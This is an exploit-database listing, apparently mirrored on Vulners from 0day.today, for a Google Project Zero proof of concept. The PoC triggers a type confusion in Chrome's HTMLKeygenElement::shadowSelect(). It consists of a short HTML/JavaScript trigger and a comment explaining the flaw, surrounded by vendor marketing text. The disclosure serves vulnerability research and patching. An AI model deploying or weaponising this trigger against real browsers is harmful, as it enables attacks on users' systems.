Lucene search
K

Google Chrome - HTMLKeygenElement::shadowSelect() Type Confusion Exploit

🗓️ 01 Feb 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 16 Views

Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion Exploit, PoC for Chrome bu

Code
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994
 
Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246
 
PoC:
-->
 
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
 
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->

#  0day.today [2018-03-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Feb 2017 00:00Current
7.1High risk
Vulners AI Score7.1
16